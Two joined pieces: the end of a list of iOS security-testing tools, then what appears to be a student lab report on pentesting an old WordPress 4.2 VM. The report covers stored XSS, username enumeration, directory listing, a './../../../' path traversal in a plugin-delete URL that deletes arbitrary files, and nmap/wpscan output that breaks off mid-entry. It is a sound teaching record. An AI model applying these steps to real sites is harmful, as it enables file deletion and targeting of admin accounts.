[Introspy-iOS](https://github.com/iSECPartners/Introspy-iOS) - Blackbox tool to help understand what an iOS application is doing at runtime and assist in the identification of potential security issues. * [gdb](http://cydia.radare.org/) - A tool to perform runtime analysis of IOS applications. * [keychaindumper](http://cydia.radare.org/) - A tool to check which keychain items are available to an attacker once an iOS device has been jailbroken. * [BinaryCookieReader](http://securitylearn.net/wp-content/uploads/tools/iOS/BinaryCookieReader.py) - A tool to dump all the cookies from the binary Cookies.binarycookies file. * [Passionfruit](https://github.com/chaitin/passionfruit) - Simple iOS app blackbox assessment tool #### Network Analysis and Server Side Testing * [Canape](http://www.contextis.com/services/research/canape/) - A network testing tool for arbitrary protocols. * [Mallory](https://intrepidusgroup.com/insight/mallory/) - A Man in The Middle Tool (MiTM) that use to monitor and manipulate traffic on mobile devices and applications. * [Burp Suite](https://portswigger.net/burp/download.html) - Burp Suite is an integrated platform for performing security testing of applications. * [Charles Proxy](http://www.charlesproxy.com) - HTTP proxy / HTTP monitor / Reverse Proxy that enables a developer to view all of the HTTP and SSL / HTTPS traffic between their machine and the Internet. #### Bypassing Root Detection and SSL Pinning * [SSL Kill Switch 2](https://github.com/nabla-c0d3/ssl-kill-switch2) - Blackbox tool to disable SSL certificate validation - including certificate pinning - within iOS and OS X Apps. * [iOS TrustMe](https://github.com/intrepidusgroup/trustme) - Disable certificate trust checks on iOS devices. * [Xcon](http://apt.modmyi.com) - A tool for bypassing Jailbreak detection. * [tsProtector] (http://cydia.saurik.com/package/kr.typostudio.tsprotector8/) - Another tool for bypassing Jailbreak detection. #### Security Libraries * [PublicKey Pinning](https://www.owasp.org/images/9/9a/Pubkey-pin-ios.zip) - iOS pinning is performed through a NSURLConnectionDelegate. The delegate must implement connection:canAuthenticateAgainstProtectionSpace: and connection:didReceiveAuthenticationChallenge:. Within connection:didReceiveAuthenticationChallenge:, the delegate must call SecTrustEvaluate to perform customary X509 checks. ### Contribution Your contributions and suggestions are welcome. ### License [![Creative Commons License](http://i.creativecommons.org/l/by/4.0/88x31.png)](http://creativecommons.org/licenses/by/4.0/) This work is licensed under a [Creative Commons Attribution 4.0 International License](http://creativecommons.org/licenses/by/4.0/)
# Project 7 - WordPress Pentesting Time spent: **12** hours spent in total > Objective: Find, analyze, recreate, and document **five vulnerabilities** affecting an old version of WordPress ## Pentesting Report 1. WordPress <= 4.2 - Unauthenticated Stored Cross-Site Scripting (XSS) - [ ] Summary: - Vulnerability types: XSS - Tested in version: 4.2 - Fixed in version: 4.2.1 - [Exploit Database 36844](https://www.exploit-db.com/exploits/36844/) - [CVE 2015-3440](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3440) - [ ] GIF Walkthrough: ![Image Walkthrough](./images/WP_<=_4.2_Unauthenticated_Stored_XSS.gif) - [ ] Steps to recreate: - login as administrator. - Find and comment on an existing post. - open [WP_<=_4.2_Unauthenticated_Stored_XSS.js](./code/WP_<=_4.2_Unauthenticated_Stored_XSS.js) - copy the text javascript. - navigate to your desired WP site. - create a new comment on a post and paste the javascript into the comment text. - Wait for an administrator to approve your comment. - Once done your javascript will execute on hover. - A more detailed explanation of this exploit can be had at the following ilnk. [Detailed Example Gist](https://gist.github.com/mrclay/aea4042f60999cfed51c) - [ ] Affected source code: - [wp-db.php](https://core.trac.wordpress.org/browser/tags/4.2/src/wp-includes/wp-db.php) 2. Username Enumeration Provided via HTTP GET Request for using author id. - [ ] Summary: - Vulnerability types: Username Enumeration - Tested in version: 4.2 - Fixed in version: N/A - [Blog Post Documenting Vulnerability](https://perishablepress.com/stop-user-enumeration-wordpress/) - [ ] GIF Walkthrough: ![image walkthrough](./images/WP_author_userid_enumeration.gif) - [ ] Steps to recreate: In this exploit we will gather information about the user ids avaialble via the author interface. 1. in your browser enter ```http://wpdistillery.com?author=<author id>``` and insert a number for one of the authors. in our case we wil use ```http://wpdistillery.com?author=1``` 2. look at the redirected URL ```http://wpdistillery.vm/author/<user id>/ ``` in our sample case we will be redirected to ```http://wpdistillery.vm/author/admin/``` where admin is our returned user name. - [ ] Affected source code: See the link to a possible fix [ahmed elhady's blog](https://medium.com/@ahmed_elhady/wordpress-username-enumeration-techniques-2ca0510df632) 3. User Enumeration Provided via Login Error Messages - [ ] Summary: - Vulnerability types: Username Enumeration - Tested in version: 4.2 - Fixed in version: N/A - [CVE 2009-2335](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2335) - [ ] GIF Walkthrough: ![Image walkthrough](./images/WP_login_userid_enumeration.gif) - [ ] Steps to recreate: 1. In the username field type a known username. 2. In the password field try to guess the password. 3. You will see a message confirming the username. 4. Try this same with a user that is known to not exist and youw ill get a different error message. - [ ] Affected source code: See the link to a possible fix [ahmed elhady's blog](https://medium.com/@ahmed_elhady/wordpress-username-enumeration-techniques-2ca0510df632) 4. Directory Traversal and Informaiton Exposure - [ ] Summary: - Vulnerability types: Information Overexposure - Tested in version: 4.2 - [CVE 548](https://cwe.mitre.org/data/definitions/548.html) - Fixed in version: unknown - [ ] GIF Walkthrough: ![image Walkthrough](./images/WP_directory_enumeration.gif) - [ ] Steps to recreate: 1. navigate to [/wp-admin/css](http://wpdistillery/wp-admin/css) or [/wp-admin/js](http://wpdistillery.vm/wp-admin/js/) 2. Take a look at all of the files available to you. - [ ] Affected source code: N/A 5. Delete Plugin Path Traversal/Arbitrary File Deletion - [ ] Summary: - Vulnerability types: Directory Traversal Destructive Deletion of unintended files - Tested in version: 4.2 - Fixed in version: unknown - This vulnerability should be fixed because it allows you to arbritrarially delete files through a get request. - This to my research has not been fixed. Some might say that this s not a vulnerability, but the person who is the Wordpress Admin may not be a systems administrator with server level access and thus the user should be protected from inadvertant deletion and thus breaks the concept of least privilage. - [Proof of Concept Confirmed](https://www.homelab.it/index.php/2014/08/06/wordpress-3-4-vulnerabilities/) - [CVE 548](https://cwe.mitre.org/data/definitions/548.html) - [ ] GIF Walkthrough: ![image walkthrough](./images/WP_plugin_directory_enumeration_destructuve_Delete.gif) - [ ] Steps to recreate: 1. Log in as Administrator 2. Click on plugins 3. Click Delete on your desired plugin. 4. Click link ```Click to view entire list of files to be deleted``` 5. click the link again to close the list. 6. In the address bar look at the address ```http://wpdistillery.vm/wp-admin/plugins.php?action=delete-selected&checked%5B0%5D=<FILES HERE>&plugin_status=all&paged=1&s&_wpnonce=25c604f1f7``` 7. Replace the text located at ```<FILES HERE>``` with whatever you wish to navigate to. 8. For our example lets replace it with ```./../../../``` 9. You will now see other files. 10. you can click delete to delete files other than those you intend to delete for the given plugin. In our example we deleted more than just the plugin that we olriginally selected but this could be used to do more destructive things. - [ ] Affected source code: - [plugins.php](https://core.trac.wordpress.org/browser/branches/4.2/src/wp-admin/plugins.php) ## Assets ```WP_<=_4.2_Unauthenticated_Stored_XSS.js``` ## Resources - [WordPress Source Browser](https://core.trac.wordpress.org/browser/) - [WordPress Developer Reference](https://developer.wordpress.org/reference/) GIFs created with [LiceCap](http://www.cockos.com/licecap/). ## Notes LiceCap initially did not capture anything but a black screen on Mac OSX 10.14 Mojave when I was using an external monitor, but I restarted my computer and it worked. I also initially had some trouble finding the hover target due to screen magnification issues for the first pentest which is why the video went kind of longer, but I ended up demonstrating it without any issues. I spent a great deal of time researching ways to execute additional vulnerabilities not listed in WPScan. All vulnerabilites were executed on WP Core. I was also looking at SQL injection vulnerabilities, but the ones that I have found seemed to be very severe, but there also seem to be a glut of XSS attacks. Attack number five could be executed using a XSS from attack one combined with attack five. ## Reconnicence ### NMAP command ```bash nmap -p- 192.168.33.10 ``` output ``` Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-22 08:28 EDT Nmap scan report for wpdistillery.vm (192.168.33.10) Host is up (0.10s latency). Not shown: 65531 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 1025/tcp open NFS-or-IIS 8025/tcp open ca-audit-da Nmap done: 1 IP address (1 host up) scanned ``` ### WPSCAN Command ```bash wpscan --url http://wpdistillery.vm --random-agent ``` Output ``` [+] URL: http://wpdistillery.vm/ [+] Started: Sat Oct 20 01:18:12 2018 [+] Interesting header: LINK: <http://wpdistillery.vm/>; rel=shortlink [+] Interesting header: SERVER: Apache/2.4.18 (Ubuntu) [+] XML-RPC Interface available under: http://wpdistillery.vm/xmlrpc.php [HTTP 405] [+] Found an RSS Feed: http://wpdistillery.vm/feed/ [HTTP 404] [!] Full Path Disclosure (FPD) in 'http://wpdistillery.vm/wp-includes/rss-functions.php': [!] Upload directory has directory listing enabled: http://wpdistillery.vm/wp-content/uploads/ [!] Includes directory has directory listing enabled: http://wpdistillery.vm/wp-includes/ [+] Enumerating WordPress version ... [!] The WordPress 'http://wpdistillery.vm/readme.html' file exists exposing a version number [+] WordPress version 4.2 (Released on 2015-04-23) identified from advanced fingerprinting, meta generator, readme, links opml, stylesheets numbers [!] 56 vulnerabilities identified from the version number [!] Title: WordPress <= 4.2 - Unauthenticated Stored Cross-Site Scripting (XSS) Reference: https://wpvulndb.com/vulnerabilities/7945 Reference: http://klikki.fi/adv/wordpress2.html Reference: http://packetstormsecurity.com/files/131644/ Reference: https://www.exploit-db.com/exploits/36844/ [i] Fixed in: 4.2.1 [!] Title: WordPress 4.1-4.2.1 - Unauthenticated Genericons Cross-Site Scripting (XSS) Reference: https://wpvulndb.com/vulnerabilities/7979 Reference: https://codex.wordpress.org/Version_4.2.2 [i] Fixed in: 4.2.2 [!] Title: WordPress <= 4.2.2 - Authenticated Stored Cross-Site Scripting (XSS) Reference: https://wpvulndb.com/vulnerabilities/8111 Reference: https://wordpress.org/news/2015/07/wordpress-4-2-3/ Reference: https://twitter.com/klikkioy/status/624264122570526720 Reference: https://klikki.fi/adv/wordpress3.html Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5622 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5623 [i] Fixed in: 4.2.3 [!] Title: WordPress <= 4.2.3 - wp_untrash_post_comments SQL Injection Reference: https://wpvulndb.com/vulnerabilities/8126 Reference: https://github.com/WordPress/WordPress/commit/70128fe7605cb963a46815cf91b0a5934f70eff5 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2213 [i] Fixed in: 4.2.4 [!] Title: WordPress <= 4.2.3 - Timing Side Channel Attack Reference: https://wpvulndb.com/vulnerabilities/8130 Reference: https://core.trac.wordpress.org/changeset/33536 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5730 [i] Fixed in: 4.2.4 [!] Title: WordPress <= 4.2.3 - Widgets Title Cross-Site Scripting (XSS) Reference: https://wpvulndb.com/vulnerabilities/8131 Reference: https://core.trac.wordpress.org/changeset/33529 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5732 [i] Fixed in: 4.2.4 [!] Title: WordPress <= 4.2.3 - Nav Menu Title Cross-Site Scripting (XSS) Reference: https://wpvulndb.com/vulnerabilities/8132 Reference: https://core.trac.wordpress.org/changeset/33541 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5733 [i] Fixed in: 4.2.4 [!] Title: WordPress <= 4.2.3 - Legacy Theme Preview Cross-Site Scripting (XSS) Reference: https://wpvulndb.com/vulnerabilities/8133 Reference: https://core.trac.wordpress.org/changeset/33549 Reference: https://blog.sucuri.net/2015/08/persistent-xss-vulnerability-in-wordpress-explained.html Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5734 [i] Fixed in: 4.2.4 [!] Title: WordPress <= 4.3 - Authenticated Shortcode Tags Cross-Site Scripting (XSS) Reference: https://wpvulndb.com/vulnerabilities/8186 Reference: https://wordpress.org/news/2015/09/wordpress-4-3-1/ Reference: http://blog.checkpoint.com/2015/09/15/finding-vulnerabilities-in-core-wordpress-a-bug-hunters-trilogy-part-iii-ultimatum/ Reference: http://blog.knownsec.com/2015/09/wordpress-vulnerability-analysis-cve-2015-5714-cve-2015-5715/ Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5714 [i] Fixed in: 4.2.5 [!] Title: WordPress <= 4.3 - User List Table Cross-Site Scripting (XSS) Reference: https://wpvulndb.com/vulnerabilities/8187 Reference: https://wordpress.org/news/2015/09/wordpress-4-3-1/ Reference: https://github.com/WordPress/WordPress/commit/f91a5fd10ea7245e5b41e288624819a37adf290a Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7989 [i] Fixed in: 4.2.5 [!] Title: WordPress <= 4.3 - Publish Post & Mark as Sticky Permission Issue Reference: https://wpvulndb.com/vulnerabilities/8188 Reference: https://wordpress.org/news/2015/09/wordpress-4-3-1/ Reference: http://blog.checkpoint.com/2015/09/15/finding-vulnerabilities-in-core-wordpress-a-bug-hunters-trilogy-part-iii-ultimatum/ Reference: http://blog.knownsec.com/2015/09/wordpress-vulnerability-analysis-cve-2015-5714-cve-2015-5715/ Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5715 [i] Fixed in: 4.2.5 [!] Title: WordPress 3.7-4.4 - Authenticated Cross-Site Scripting (XSS) Reference: https://wpvulndb.com/vulnerabilities/8358 Reference: https://wordpress.org/news/2016/01/wordpress-4-4-1-security-and-maintenance-release/ Reference: https://github.com/WordPress/WordPress/commit/7ab65139c6838910426567849c7abed723932b87 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1564 [i] Fixed in: 4.2.6 [!] Title: WordPress 3.7-4.4.1 - Local URIs Server Side Request Forgery (SSRF) Reference: https://wpvulndb.com/vulnerabilities/8376 Reference: https://wordpress.org/news/2016/02/wordpress-4-4-2-security-and-maintenance-release/ Reference: https://core.trac.wordpress.org/changeset/36435 Reference: https://hackerone.com/reports/110801 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2222 [i] Fixed in: 4.2.7 [!] Title: WordPress 3.7-4.4.1 - Open Redirect Reference: https://wpvulndb.com/vulnerabilities/8377 Reference: https://wordpress.org/news/2016/02/wordpress-4-4-2-security-and-maintenance-release/ Reference: https://core.trac.wordpress.org/changeset/36444 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2221 [i] Fixed in: 4.2.7 [!] Title: WordPress <= 4.4.2 - SSRF Bypass using Octal & Hexedecimal IP addresses Reference: https://wpvulndb.com/vulnerabilities/8473 Reference: https://codex.wordpress.org/Version_4.5 Reference: https://github.com/WordPress/WordPress/commit/af9f0520875eda686fd13a427fd3914d7aded049 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4029 [i] Fixed in: 4.5 [!] Title: WordPress <= 4.4.2 - Reflected XSS in Network Settings Reference: https://wpvulndb.com/vulnerabilities/8474 Reference: https://codex.wordpress.org/Version_4.5 Reference: https://github.com/WordPress/WordPress/commit/cb2b3ed3c7d68f6505bfb5c90257e6aaa3e5fcb9 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6634 [i] Fixed in: 4.5 [!] Title: WordPress <= 4.4.2 - Script Compression Option CSRF Reference: https://wpvulndb.com/vulnerabilities/8475 Reference: https://codex.wordpress.org/Version_4.5 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6635 [i] Fixed in: 4.5 [!] Title: WordPress 4.2-4.5.1 - MediaElement.js Reflected Cross-Site Scripting (XSS) Reference: https://wpvulndb.com/vulnerabilities/8488 Reference: https://wordpress.org/news/2016/05/wordpress-4-5-2/ Reference: https://github.com/WordPress/WordPress/commit/a493dc0ab5819c8b831173185f1334b7c3e02e36 Reference: https://gist.github.com/cure53/df34ea68c26441f3ae98f821ba1feb9c Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4567 [i] Fixed in: 4.5.2 [!] Title: WordPress <= 4.5.1 - Pupload Same Origin Method Execution (SOME) Reference: https://wpvulndb.com/vulnerabilities/8489 Reference: https://wordpress.org/news/2016/05/wordpress-4-5-2/ Reference: https://github.com/WordPress/WordPress/commit/c33e975f46a18f5ad611cf7e7c24398948cecef8 Reference: https://gist.github.com/cure53/09a81530a44f6b8173f545accc9ed07e Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4566 [i] Fixed in: 4.2.8 [!] Title: WordPress 4.2-4.5.2 - Authenticated Attachment Name Stored XSS Reference: https://wpvulndb.com/vulnerabilities/8518 Reference: https://wordpress.org/news/2016/06/wordpress-4-5-3/ Reference: https://github.com/WordPress/WordPress/commit/4372cdf45d0f49c74bbd4d60db7281de83e32648 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5833 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5834 [i] Fixed in: 4.2.9 [!] Title: WordPress 3.6-4.5.2 - Authenticated Revision History Information Disclosure Reference: https://wpvulndb.com/vulnerabilities/8519 Reference: https://wordpress.org/news/2016/06/wordpress-4-5-3/ Reference: https://github.com/WordPress/WordPress/commit/a2904cc3092c391ac7027bc87f7806953d1a25a1 Reference: https://www.wordfence.com/blog/2016/06/wordpress-core-vulnerability-bypass-password-protected-posts/ Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5835 [i] Fixed in: 4.2.9 [!] Title: WordPress 2.6.0-4.5.2 - Unauthorized Category Removal from Post Reference: https://wpvulndb.com/vulnerabilities/8520 Reference: https://wordpress.org/news/2016/06/wordpress-4-5-3/ Reference: https://github.com/WordPress/WordPress/commit/6d05c7521baa980c4efec411feca5e7fab6f307c Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5837 [i] Fixed in: 4.2.9 [!] Title: WordPress 2.5-4.6 - Authenticated Stored Cross-Site Scripting via Image Filename Reference: https://wpvulndb.com/vulnerabilities/8615 Reference: https://wordpress.org/news/2016/09/wordpress-4-6-1-security-and-maintenance-release/ Reference: https://github.com/WordPress/WordPress/commit/c9e60dab176635d4bfaaf431c0ea891e4726d6e0 Reference: https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_vulnerability_in_wordpress_due_to_unsafe_processing_of_file_names.html Reference: http://seclists.org/fulldisclosure/2016/Sep/6 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7168 [i] Fixed in: 4.2.10 [!] Title: WordPress 2.8-4.6 - Path Traversal in Upgrade Package Uploader Reference: https://wpvulndb.com/vulnerabilities/8616 Reference: https://wordpress.org/news/2016/09/wordpress-4-6-1-security-and-maintenance-release/ Reference: https://github.com/WordPress/WordPress/commit/54720a14d85bc1197ded7cb09bd3ea790caa0b6e Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7169 [i] Fixed in: 4.2.10 [!] Title: WordPress 2.9-4.7 - Authenticated Cross-Site scripting (XSS) in update-core.php Reference: https://wpvulndb.com/vulnerabilities/8716 Reference: https://github.com/WordPress/WordPress/blob/c9ea1de1441bb3bda133bf72d513ca9de66566c2/wp-admin/update-core.php Reference: https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release/ Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5488 [i] Fixed in: 4.2.11 [!] Title: WordPress 3.4-4.7 - Stored Cross-Site Scripting (XSS) via Theme Name fallback Reference: https://wpvulndb.com/vulnerabilities/8718 Reference: https://www.mehmetince.net/low-severity-wordpress/ Reference: https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release/ Reference: https://github.com/WordPress/WordPress/commit/ce7fb2934dd111e6353784852de8aea2a938b359 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5490 [i] Fixed in: 4.2.11 [!] Title: WordPress <= 4.7 - Post via Email Checks mail.example.com by Default Reference: https://wpvulndb.com/vulnerabilities/8719 Reference: https://github.com/WordPress/WordPress/commit/061e8788814ac87706d8b95688df276fe3c8596a Reference: https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release/ Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5491 [i] Fixed in: 4.2.11 [!] Title: WordPress 2.8-4.7 - Accessibility Mode Cross-Site Request Forgery (CSRF) Reference: https://wpvulndb.com/vulnerabilities/8720 Reference: https://github.com/WordPress/WordPress/commit/03e5c0314aeffe6b27f4b98fef842bf0fb00c733 Reference: https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release/ Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5492 [i] Fixed in: 4.2.11 [!] Title: WordPress 3.0-4.7 - Cryptographically Weak Pseudo-Random Number Generator (PRNG) Reference: https://wpvulndb.com/vulnerabilities/8721 Reference: https://github.com/WordPress/WordPress/commit/cea9e2dc62abf777e06b12ec4ad9d1aaa49b29f4 Reference: https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release/ Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5493 [i] Fixed in: 4.2.11 [!] Title: WordPress 4.2.0-4.7.1 - Press This UI Available to Unauthorised Users Reference: https://wpvulndb.com/vulnerabilities/8729 Reference: https://wordpress.org/news/2017/01/wordpress-4-7-2-security-release/ Reference: https://github.com/WordPress/WordPress/commit/21264a31e0849e6ff793a06a17de877dd88ea454 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5610 [i] Fixed in: 4.2.12 [!] Title: WordPress 3.5-4.7.1 - WP_Query SQL Injection Reference: https://wpvulndb.com/vulnerabilities/8730 Reference: https://wordpress.org/news/2017/01/wordpress-4-7-2-security-release/ Reference: https://github.com/WordPress/WordPress/commit/85384297a60900004e27e417eac56d24267054cb Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5611 [i] Fixed in: 4.2.12 [!] Title: WordPress 3.6.0-4.7.2 - Authenticated Cross-Site Scripting (XSS) via Media File Metadata Reference: https://wpvulndb.com/vulnerabilities/8765 Reference: https://wordpress.org/news/2017/03/wordpress-4-7-3-security-and-maintenance-release/ Reference: https://github.com/WordPress/WordPress/commit/28f838ca3ee205b6f39cd2bf23eb4e5f52796bd7 Reference: https://sumofpwn.nl/advisory/2016/wordpress_audio_playlist_functionality_is_affected_by_cross_site_scripting.html Reference: http://seclists.org/oss-sec/2017/q1/563 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6814 [i] Fixed in: 4.2.13 [!] Title: WordPress 2.8.1-4.7.2 - Control Characters in Redirect URL Validation Reference: https://wpvulndb.com/vulnerabilities/8766 Reference: https://wordpress.org/news/2017/03/wordpress-4-7-3-security-and-maintenance-release/ Reference: https://github.com/WordPress/WordPress/commit/288cd469396cfe7055972b457eb589cea51ce40e Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6815 [i] Fixed in: 4.2.13 [!] Title: WordPress 4.0-4.7.2 - Authenticated Stored Cross-Site Scripting (XSS) in YouTube URL Embeds Reference: https://wpvulndb.com/vulnerabilities/8768 Reference: https://wordpress.org/news/2017/03/wordpress-4-7-3-security-and-maintenance-release/ Reference: https://github.com/WordPress/WordPress/commit/419c8d97ce8df7d5004ee0b566bc5e095f0a6ca8 Reference: https://blog.sucuri.net/2017/03/stored-xss-in-wordpress-core.html Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6817 [i] Fixed in: 4.2.13 [!] Title: WordPress 4.2-4.7.2 - Press This CSRF DoS Reference: https://wpvulndb.com/vulnerabilities/8770 Reference: https://wordpress.org/news/2017/03/wordpress-4-7-3-security-and-maintenance-release/ Reference: https://github.com/WordPress/WordPress/commit/263831a72d08556bc2f3a328673d95301a152829 Reference: https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_wordpress_press_this_function_allows_dos.html Reference: http://seclists.org/oss-sec/2017/q1/562 Reference: https://hackerone.com/reports/153093 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6819 [i] Fixed in: 4.2.13 [!] Title: WordPress 2.3-4.8.3 - Host Header Injection in Password Reset Reference: https://wpvulndb.com/vulnerabilities/8807 Reference: https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html Reference: http://blog.dewhurstsecurity.com/2017/05/04/exploitbox-wordpress-security-advisories.html Reference: https://core.trac.wordpress.org/ticket/25239 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8295 [!] Title: WordPress 2.7.0-4.7.4 - Insufficient Redirect Validation Reference: https://wpvulndb.com/vulnerabilities/8815 Reference: https://github.com/WordPress/WordPress/commit/76d77e927bb4d0f87c7262a50e28d84e01fd2b11 Reference: https://wordpress.org/news/2017/05/wordpress-4-7-5/ Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9066 [i] Fixed in: 4.2.15 [!] Title: WordPress 2.5.0-4.7.4 - Post Meta Data Values Improper Handling in XML-RPC Reference: https://wpvulndb.com/vulnerabilities/8816 Reference: https://wordpress.org/news/2017/05/wordpress-4-7-5/ Reference: https://github.com/WordPress/WordPress/commit/3d95e3ae816f4d7c638f40d3e936a4be19724381 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9062 [i] Fixed in: 4.2.15 [!] Title: WordPress 3.4.0-4.7.4 - XML-RPC Post Meta Data Lack of Capability Checks Reference: https://wpvulndb.com/vulnerabilities/8817 Reference: https://wordpress.org/news/2017/05/wordpress-4-7-5/ Reference: https://github.com/WordPress/WordPress/commit/e88a48a066ab2200ce3091b131d43e2fab2460a4 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9065 [i] Fixed in: 4.2.15 [!] Title: WordPress 2.5.0-4.7.4 - Filesystem Credentials Dialog CSRF Reference: https://wpvulndb.com/vulnerabilities/8818 Reference: https://wordpress.org/news/2017/05/wordpress-4-7-5/ Reference: https://github.com/WordPress/WordPress/commit/38347d7c580be4cdd8476e4bbc653d5c79ed9b67 Reference: https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_wordpress_connection_information.html Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9064 [i] Fixed in: 4.2.15 [!] Title: WordPress 3.3-4.7.4 - Large File Upload Error XSS Reference: https://wpvulndb.com/vulnerabilities/8819 Reference: https://wordpress.org/news/2017/05/wordpress-4-7-5/ Reference: https://github.com/WordPress/WordPress/commit/8c7ea71edbbffca5d9766b7bea7c7f3722ffafa6 Reference: https://hackerone.com/reports/203515 Reference: https://hackerone.com/reports/203515 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9061 [i] Fixed in: 4.2.15 [!] Title: WordPress 3.4.0-4.7.4 - Customizer XSS & CSRF Reference: https://wpvulndb.com/vulnerabilities/8820 Reference: https://wordpress.org/news/2017/05/wordpress-4-7-5/ Reference: https://github.com/WordPress/WordPress/commit/3d10fef22d788f29aed745b0f5ff6f6baea69af3 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9063 [i] Fixed in: 4.2.15 [!] Title: WordPress 2.3.0-4.8.1 - $wpdb->prepare() potential SQL Injection Reference: https://wpvulndb.com/vulnerabilities/8905 Reference: https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/ Reference: https://github.com/WordPress/WordPress/commit/70b21279098fc973eae803693c0705a548128e48 Reference: https://github.com/WordPress/WordPress/commit/fc930d3daed1c3acef010d04acc2c5de93cd18ec [i] Fixed in: 4.2.16 [!] Title: WordPress 2.3.0-4.7.4 - Authenticated SQL injection Reference: https://wpvulndb.com/vulnerabilities/8906 Reference: https://medium.com/websec/wordpress-sqli-bbb2afcc8e94 Reference: https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/ Reference: https://github.com/WordPress/WordPress/commit/70b21279098fc973eae803693c0705a548128e48 Reference: https://wpvulndb.com/vulnerabilities/8905 [i] Fixed in: 4.7.5 [!] Title: WordPress 2.9.2-4.8.1 - Open Redirect Reference: https://wpvulndb.com/vulnerabilities/8910 Reference: https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/ Reference: https://core.trac.wordpress.org/changeset/41398 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14725 [i] Fixed in: 4.2.16 [!] Title: WordPress 3.0-4.8.1 - Path Traversal in Unzipping Reference: https://wpvulndb.com/vulnerabilities/8911 Reference: https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/ Reference: https://core.trac.wordpress.org/changeset/41457 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14719 [i] Fixed in: 4.2.16 [!] Title: WordPress <= 4.8.2 - $wpdb->prepare() Weakness Reference: https://wpvulndb.com/vulnerabilities/8941 Reference: https://wordpress.org/news/2017/10/wordpress-4-8-3-security-release/ Reference: https://github.com/WordPress/WordPress/commit/a2693fd8602e3263b5925b9d799ddd577202167d Reference: https://twitter.com/ircmaxell/status/923662170092638208 Reference: https://blog.ircmaxell.com/2017/10/disclosure-wordpress-wpdb-sql-injection-technical.html Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16510 [i] Fixed in: 4.2.17 [!] Title: WordPress 2.8.6-4.9 - Authenticated JavaScript File Upload Reference: https://wpvulndb.com/vulnerabilities/8966 Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/ Reference: https://github.com/WordPress/WordPress/commit/67d03a98c2cae5f41843c897f206adde299b0509 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17092 [i] Fixed in: 4.2.18 [!] Title: WordPress 1.5.0-4.9 - RSS and Atom Feed Escaping Reference: 